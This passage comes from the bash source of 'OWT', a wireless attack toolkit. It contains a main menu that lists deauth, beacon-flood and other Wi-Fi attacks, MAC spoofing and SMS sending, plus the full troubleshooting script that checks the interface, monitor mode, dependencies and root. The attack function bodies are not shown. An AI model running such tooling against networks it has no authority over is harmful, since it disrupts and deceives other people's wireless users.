697 | echo -e "${LBLUE}For this you must select a Network, would you like do do this now? ${LRED}(Y/N)${NONE}"
698 | read -r ra
699 |
700 | if [[ "$ra" == ["yY"]* ]]; then
701 | scan_network_networkname
702 | sleep 0.5
703 | else
704 | clear
705 | echo "Returning to Main Menu.."
706 | sleep 0.8
707 | main_menu
708 | fi
709 |
710 | else
711 |
712 | sleep 0.1
713 |
714 | fi
715 | }
716 |
717 | #scan networks specifically for attacks that require it and may be missing a targeted network name
718 | scan_network_networkname () {
719 | clear
720 | check_eth0
721 | check_iface
722 | if [ "$Mod" == "Monitor" ]; then
723 | sleep 0.1
724 | else
725 | echo -e "${LRED}This tool requires Monitor Mode${NONE}"
726 | read -r -p "Press Enter to return to Main Menu"
727 | main_menu
728 | fi
729 | scan_animation &
730 |
731 | trap 'airmon-ng stop $iface > /dev/null;rm otp-01.csv 2> /dev/null' EXIT
732 | xterm -e airodump-ng --output-format csv -w otp "$iface" > /dev/null & sleep 10 ; kill $!
733 | sed -i '1d' otp-01.csv
734 | kill %1
735 | echo -e "\n\n${LRED}Scan Results${NONE}"
736 | cut -d "," -f 14 otp-01.csv | nl -n ln -w 6
737 | while [ "${S}" -gt "$(wc -l otp-01.csv | cut -d " " -f 1)" ] || [ "${S}" -lt 1 ]; do
738 | echo -e "\n${LBLUE}Select a Network"
739 | read -r -p "$(tput setaf 7) " S
740 | done
741 | nn=$(sed -n "${S}p" < otp-01.csv | cut -d "," -f 14 )
742 | rm -rf otp-01.csv 2> /dev/null
743 | echo -e "\n[${LGREEN}${nn}${NONE} ] Selected"
744 | read -r -p "$(tput setaf 7)Press Enter to Continue.."
745 | clear
746 | }
747 |
748 | #animation while scanning networks.
749 |
750 | ii="S"
751 | oo="Sc"
752 | pp="Sca"
753 | ll="Scan"
754 | kk="Scann"
755 | jj="Scanni"
756 | hh="Scannin"
757 | gg="Scanning"
758 | ff="Scanning-"
759 | vv="Scanning-N"
760 | bb="Scanning-Ne"
761 | cc="Scanning-Net"
762 | xx="Scanning-Netw"
763 | zz="Scanning-Netwo"
764 | yy="Scanning-Networ"
765 | tt="Scanning-Network"
766 | qq="Scanning-Networks"
767 |
768 | s() {
769 | sleep 0.15
770 | clear
771 | }
772 |
773 | scan_animation() {
774 | echo -e "[${LBLUE}${ii}${NONE}]"
775 | s
776 | echo -e "[${LBLUE}${oo}${NONE}]"
777 | s
778 | echo -e "[${LBLUE}${pp}${NONE}]"
779 | s
780 | echo -e "[${LBLUE}${ll}${NONE}]"
781 | s
782 | echo -e "[${LBLUE}${kk}${NONE}]"
783 | s
784 | echo -e "[${LBLUE}${jj}${NONE}]"
785 | s
786 | echo -e "[${LBLUE}${hh}${NONE}]"
787 | s
788 | echo -e "[${LBLUE}${gg}${NONE}]"
789 | s
790 | echo -e "[${LBLUE}${ff}${NONE}]"
791 | s
792 | echo -e "[${LBLUE}${vv}${NONE}]"
793 | s
794 | echo -e "[${LBLUE}${bb}${NONE}]"
795 | s
796 | echo -e "[${LBLUE}${cc}${NONE}]"
797 | s
798 | echo -e "[${LBLUE}${xx}${NONE}]"
799 | s
800 | echo -e "[${LBLUE}${zz}${NONE}]"
801 | s
802 | echo -e "[${LBLUE}${yy}${NONE}]"
803 | s
804 | echo -e "[${LBLUE}${tt}${NONE}]"
805 | s
806 | echo -e "[${LBLUE}${qq}${NONE}]"
807 | }
808 |
809 | #gives the user to stop or keep montior mode upon exiting the script traps control c. this is a beta feature needs improvment.
810 |
811 | termination () {
812 | check_iface
813 | if [ "$Mod" == "Managed" ]; then
814 | exit
815 | else
816 | clear
817 | echo -e "${LBLUE}Exiting OWT, would you like to remain in Monitor Mode? ${LRED}(Y/N)${NONE}"
818 | read -r ro
819 | fi
820 | if [[ "$ro" == ["yY"]* ]]; then
821 | exit
822 | else
823 | service network-manager start
824 | iface=$(airmon-ng | awk 'NR==4' | awk '{print $2}')
825 | mode=$(iwconfig "$iface" | sed -n '/Mode:/s/.*Mode://; s/ .*//p')
826 | if [ "$mode" == "Managed" ]; then
827 | Mod=Managed
828 | else
829 | Mod=Monitor
830 | fi
831 | if [ "$Mod" == "Managed" ]; then
832 | clear
833 | echo -e "${LRED}Device already in $man mode ${NONE}"
834 | sleep 0.5
835 | main_menu
836 | else
837 | sudo airmon-ng stop "$iface"
838 | fi
839 | clear
840 | exit
841 | fi
842 | }
843 |
844 | trap termination EXIT
845 |
846 | #prints the main menu with options
847 |
848 | main_menu () {
849 | clear
850 | check_iface
851 |
852 | echo -e "${LRED}
853 | ███████ █████ ███ █████ ███████████
854 | ███░░░░░███ ░░███ ░███ ░░███ ░█░░░███░░░█
855 | ███ ░░███ ░███ ░███ ░███ ░ ░███ ░
856 | ░███ ░███ ░███ ░███ ░███ ░███
857 | ░███ ░███ ░░███ █████ ███ ░███
858 | ░░███ ███ ░░░█████░█████░ ░███
859 | ░░░███████░ ░░███ ░░███ █████
860 | ░░░░░░░ ░░░ ░░░ ░░░░░ "
861 |
862 |
863 | ewr "\n${NONE}[${LRED}Interface${NONE}]${LBLUE} ${iface}${NONE} [${LRED}Mode${NONE}]${LBLUE} ${Mod}${NONE} [${LRED}Target Network${NONE}]${LBLUE} ${nn}${NONE}\n"
864 |
865 | ewr "${PURPLE}---------${NONE}[${LBLUE}General${NONE}]${PURPLE}----------\n"
866 | ewr "${NONE}[${LGREEN}0${NONE}] ${YELLOW}Exit"
867 | ewr "${NONE}[${LGREEN}1${NONE}] ${YELLOW}Main Menu"
868 | ewr "${NONE}[${LGREEN}2${NONE}] ${YELLOW}Put Device in Monitor Mode"
869 | ewr "${NONE}[${LGREEN}3${NONE}] ${YELLOW}Put Device in Managed Mode"
870 | ewr "${NONE}[${LGREEN}4${NONE}] ${YELLOW}Scan Networks\n"
871 | ewr "${PURPLE}-------${NONE}[${LBLUE}Wifi Attacks${NONE}]${PURPLE}-------\n"
872 | ewr "${NONE}[${LGREEN}5${NONE}] ${YELLOW}Wifi Attack Menu${NONE}\n"
873 | ewr "${PURPLE}----------${NONE}[${LBLUE}Other${NONE}]${PURPLE}-----------\n"
874 | ewr "${NONE}[${LGREEN}6${NONE}] ${YELLOW}Spoof Your Mac Address"
875 | ewr "${NONE}[${LGREEN}7${NONE}] ${YELLOW}ARP Scan For Devices"
876 | ewr "${NONE}[${LGREEN}8${NONE}] ${YELLOW}Send SMS Message to a Phone Number"
877 | ewr "${NONE}[${LGREEN}9${NONE}] ${YELLOW}About owt\n"
878 | ewr "${PURPLE}----------------------------${NONE}"
879 | while true; do
880 | ewr "\n${LRED}Select an option:${NONE}"
881 | read -r -p "$(tput setaf 7)" option
882 | case $option in
883 |
884 | 0) echo -e "\n${NONE}${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
885 | read -r -p "Are you sure? Press Enter.."
886 | clear
887 | exit 0
888 | ;;
889 | 1) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
890 | read -r -p "Are you sure? Press Enter.."
891 | main_menu
892 | ;;
893 | 2) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
894 | read -r -p "Are you sure? Press Enter.."
895 | monitor_mode
896 | ;;
897 | 3) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
898 | read -r -p "Are you sure? Press Enter.."
899 | managed_mode
900 | ;;
901 | 4) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
902 | read -r -p "Are you sure? Press Enter.."
903 | scan_networks
904 | ;;
905 | 5) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
906 | read -r -p "Are you sure? Press Enter.."
907 | wifi_attacks_menu
908 | ;;
909 | 6) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
910 | read -r -p "Are you sure? Press Enter.."
911 | mac_spoof
912 | ;;
913 | 7) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
914 | read -r -p "Are you sure? Press Enter.."
915 | arp_scan
916 | ;;
917 | 8) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
918 | read -r -p "Are you sure? Press Enter.."
919 | send_sms
920 | ;;
921 | 9) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]"
922 | read -r -p "Are you sure? Press Enter.."
923 | about_page
924 | ;;
925 | *) echo -e "Not an Option"
926 | main_menu
927 | ;;
928 | esac
929 | done
930 | }
931 |
932 | #calls for main menu function
933 | clear
934 | main_menu
935 |
936 | #all functions
937 | OWT () {
938 | intro_1
939 | intro_2
940 | permissions_prompt
941 | check_monitor_mode
942 | check_dependencies
943 | main_menu
944 | monitor_mode
945 | managed_mode
946 | scan_networks
947 | about_page
948 | wifi_attacks_menu
949 | beacon_flood_attack
950 | deauth_attack
951 | confusion_attack
952 | probe_attack
953 | check_mode_for_vars
954 | check_mode
955 | check_network_name
956 | scan_network_networkname
957 | termination
958 | ctrl_c
959 | scan_animation
960 | arp_scan
961 | arp_command
962 | arp_output
963 | mac_spoof
964 | }
965 |
966 | OWT
967 |
--------------------------------------------------------------------------------
/troubleshoot.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash/
2 | #owt trouble shoot
3 | #created by clu3bot (Brennan Mccown)
4 |
5 | #colors vars
6 | LBLUE='\033[1;34m'
7 | LRED='\033[1;31m'
8 | LGREEN='\033[1;32m'
9 | RED='\033[0;31m'
10 | YELLOW='\033[1;33m'
11 | NONE='\033[0m'
12 | PURPLE='\033[1;35m'
13 | CYAN='\033[0;36m'
14 | GREEN='\033[0;32m'
15 | #echowrap
16 | e() {
17 | echo -e "$@"
18 | }
19 | #output
20 | output() {
21 | e "${LBLUE}Output${NONE} ${GREEN}GREEN${NONE} is good ${LRED}RED${NONE} is bad"
22 | e "${LBLUE}------------------------------------${NONE}"
23 | }
24 |
25 | #check if a wireless interface exists
26 | check_interface() {
27 | iface=$(airmon-ng | awk 'NR==4' | awk '{print $2}')
28 | if [[ -z "${iface// }" ]]; then
29 | iface="null"
30 | fi
31 | }
32 | ifacestatus() {
33 | if [ "${iface}" == "null" ]; then
34 | e "${LRED}No wireless interface found${NONE}"
35 | else
36 | e "${GREEN}Wireless interface found${NONE}"
37 | fi
38 | }
39 | #display for check if a wireless interface exists
40 | display_check_interface() {
41 | clear
42 | output
43 | check_interface
44 | e "${LRED}Checking for wireless interface..${NONE}"
45 | sleep 2
46 | if [[ "${iface}" == "null" ]]; then
47 | e "${LRED}No wireless interface found${NONE}"
48 | else
49 | e "${GREEN}Wireless interface found${NONE}"
50 | fi
51 | sleep 1
52 | clear
53 | if [[ "${iface}" == "null" ]]; then
54 | output
55 | e "${LRED}No wireless interface found${NONE}"
56 | e "${LBLUE}------------------------------------${NONE}"
57 | else
58 | output
59 | e "${GREEN}Wireless interface found${NONE}"
60 | e "${LBLUE}------------------------------------${NONE}"
61 | fi
62 | }
63 | #check if device can be put in monitor mode
64 | check_monitor() {
65 | if [ "${iface}" == "null" ]; then
66 | mode="null"
67 | fi
68 | }
69 |
70 | monitorstatus() {
71 | if [ "${mode}" == "null" ]; then
72 | e "${LRED}Interface is not suitable for Monitor Mode${NONE}"
73 | else
74 | e "${GREEN}Interface is suitable for Monitor Mode${NONE}"
75 | fi
76 | }
77 |
78 | #display for check if device can be put in monitor mode
79 | display_check_monitor() {
80 | check_monitor
81 | e "${LRED}Checking for interface..${NONE}"
82 | sleep 1
83 | e "${LRED}Checking if interface is suitable for Monitor Mode${NONE}"
84 | sleep 1
85 | if [ "${mode}" == "null" ]; then
86 | e "${LRED}Interface is not suitable for Monitor Mode${NONE}"
87 | else
88 | e "${GREEN}Interface is suitable for Monitor Mode${NONE}"
89 | fi
90 | clear
91 | if [ "${mode}" == "null" ]; then
92 | output
93 | ifacestatus
94 | e "${LRED}Interface is not suitable for Monitor Mode${NONE}"
95 | e "${LBLUE}------------------------------------${NONE}"
96 | else
97 | output
98 | ifacestatus
99 | e "${GREEN}Interface is suitable for Monitor Mode${NONE}"
100 | e "${LBLUE}------------------------------------${NONE}"
101 | fi
102 | }
103 |
104 | #check if all dependencies are installed
105 | check_dependencies() {
106 | dependencies=(aircrack-ng mdk3 xterm macchanger)
107 | for d in "${dependencies[*]}"; do
108 | if [ "$(dpkg-query -W -f='${Status}' $d 2>/dev/null | grep -c "ok installed")" -eq 0 ]; then
109 | dependencies="null"
110 | fi
111 | done
112 | }
113 | dependenciesstatus() {
114 | if [[ "${dependencies}" == "null" ]]; then
115 | e "${LRED}Missing Required Dependencies${NONE}"
116 | else
117 | e "${GREEN}All Dependencies Installed${NONE}"
118 | fi
119 | }
120 | #display for check if all dependencies are installed
121 | display_check_dependencies() {
122 | check_dependencies &
123 | e "${LRED}Scanning Directories..${NONE}"
124 | sleep 1.25
125 | e "${LRED}Checking for Dependencies..${NONE}"
126 | sleep 1.25
127 | if [[ "${dependencies}" == "null" ]]; then
128 | e "${LRED}Missing Required Dependencies${NONE}"
129 | else
130 | e "${GREEN}All Dependencies installed${NONE}"
131 | fi
132 | clear
133 | if [ "${dependencies}" == "null" ]; then
134 | output
135 | ifacestatus
136 | monitorstatus
137 | e "${LRED}Missing required Dependencies${NONE}"
138 | e "${LBLUE}------------------------------------${NONE}"
139 | else
140 | output
141 | ifacestatus
142 | monitorstatus
143 | e "${GREEN}All Dependencies installed${NONE}"
144 | e "${LBLUE}------------------------------------${NONE}"
145 | fi
146 | }
147 | #check if user is on a distro of linux that is supported
148 | check_distro() {
149 | di=$(lsb_release -is)
150 | if [[ -z "${di// }" ]]; then
151 | distro="null"
152 | fi
153 | }
154 | distrostatus() {
155 | if [ "${distro}" == "null" ]; then
156 | e "${LRED}The distrobution of linux you are using is not supported${NONE}"
157 | else
158 | e "${GREEN}Compatible Linux Distrobution${NONE}"
159 | fi
160 | }
161 |
162 | #display for check if user is on a distro of linux that is supported
163 | display_check_distro() {
164 | check_distro
165 | e "${LRED}Checking linux Distrobution..${NONE}"
166 | sleep 1.25
167 | e "${LRED}Checking compatibility..${NONE}"
168 | sleep 1.25
169 | if [ "${distro}" == "null" ]; then
170 | e "${LRED}The distrobution of linux you are using is not supported${NONE}"
171 | else
172 | e "${GREEN}Compatible Linux Distrobution${NONE}"
173 | fi
174 | clear
175 | if [ "${distro}" == "null" ]; then
176 | output
177 | ifacestatus
178 | monitorstatus
179 | dependenciesstatus
180 | e "${LRED}The distrobution of linux you are using is not supported${NONE}"
181 | e "${LBLUE}------------------------------------${NONE}"
182 | else
183 | output
184 | ifacestatus
185 | monitorstatus
186 | dependenciesstatus
187 | e "${GREEN}Compatible Linux Distrobution${NONE}"
188 | e "${LBLUE}------------------------------------${NONE}"
189 | fi
190 | }
191 | #dns established
192 | dns_established() {
193 | dns="valid"
194 | }
195 | #check if dns can be established
196 | check_dns() {
197 | if ping -q -c 1 -W 1 8.8.8.8 >/dev/null; then
198 | dns_established
199 | fi
200 | }
201 | dnsstatus() {
202 | if [ "${dns}" == "valid" ]; then
203 | e "${GREEN}DNS Connection Established${NONE}"
204 | else
205 | e "${LRED}DNS Could not be Established${NONE}"
206 | fi
207 | }
208 | #display for check if dns can be established
209 | display_check_dns() {
210 | check_dns
211 | e "${LRED}Checking for DNS connection..${NONE}"
212 | sleep 1.4
213 | e "${LRED}Attempting to Connect..${NONE}"
214 | sleep 1.3
215 | if [ "${dns}" == "valid" ]; then
216 | e "${GREEN}DNS Connection Established${NONE}"
217 | else
218 | e "${LRED}DNS Could not be Established${NONE}"
219 | fi
220 | clear
221 | if [ "${dns}" == "valid" ]; then
222 | output
223 | ifacestatus
224 | monitorstatus
225 | dependenciesstatus
226 | distrostatus
227 | e "${GREEN}DNS Connection Established${NONE}"
228 | e "${LBLUE}------------------------------------${NONE}"
229 | else
230 | output
231 | ifacestatus
232 | monitorstatus
233 | dependenciesstatus
234 | distrostatus
235 | e "${LRED}DNS Could not be Established${NONE}"
236 | e "${LBLUE}------------------------------------${NONE}"
237 | fi
238 | }
239 | #check if user is root
240 | check_permission() {
241 | isroot=$(whoami)
242 | if [ "${isroot}" == "root" ]; then
243 | perm="valid"
244 | fi
245 | }
246 | #display for check if user is root
247 | display_check_permission() {
248 | check_permission
249 | e "${LRED}Checking if user is root${NONE}"
250 | sleep 1.4
251 | if [ "${perm}" == "valid" ]; then
252 | e "${GREEN}User is root user${NONE}"
253 | else
254 | e "${LRED}User is not root make sure to run as root${NONE}"
255 | fi
256 | clear
257 | if [ "${perm}" == "valid" ]; then
258 | output
259 | ifacestatus
260 | monitorstatus
261 | dependenciesstatus
262 | distrostatus
263 | dnsstatus
264 | e "${GREEN}User is root user${NONE}"
265 | e "${LBLUE}------------------------------------${NONE}"
266 | else
267 | output
268 | ifacestatus
269 | monitorstatus
270 | dependenciesstatus
271 | distrostatus
272 | dnsstatus
273 | e "${LRED}User is not root make sure to run as root${NONE}"
274 | e "${LBLUE}------------------------------------${NONE}"
275 | fi
276 | }
277 |
278 | troubleshoot() {
279 | display_check_interface
280 | display_check_monitor
281 | display_check_dependencies
282 | display_check_distro
283 | display_check_dns
284 | display_check_permission
285 | }
286 |
287 | troubleshoot
288 |
--------------------------------------------------------------------------------